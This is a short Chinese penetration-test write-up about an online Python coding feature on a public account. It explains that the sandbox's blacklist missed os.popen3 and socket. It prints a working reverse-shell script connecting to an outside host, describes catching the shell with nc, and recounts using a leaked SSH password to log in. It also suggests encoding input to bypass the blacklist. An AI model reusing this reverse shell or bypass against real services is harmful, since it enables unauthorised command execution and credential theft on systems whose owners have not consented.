Python在线编程导致命令执行
[Penetration Testing]
看到某公众号提供"Python在线编写"功能,测试了几个函数.
以下常规的都被过滤了
os.system
os.popen
subprocess
commands
然后试试os.popen2/3/4
发现可以import
,同时socket
也可以使用
这样就写了个反弹shell的脚本:
import socket
from os import popen3
s = socket.socket()
s.connect(('xx.xx.xx.xx', 12345))
for i in range(10000):
ans = popen3(s.recv(1024))
s.send(ans[1].read() + ans[2].read())
敲进去
这边用nc监听,拿到shell
发现敏感文件,验证了一下是ssh的密码,登入之后就可以执行交互式的命令了
帐号权限比较低,不过还是有些信息泄漏
看到服务器的源码,针对用户输入采用黑名单过滤.
这样的in
判断直接编码一下就能绕过,而且黑名单基本不可能覆盖全面.
该测试未影响系统服务的正常运行,未修改及泄漏任何系统数据,仅供技术交流.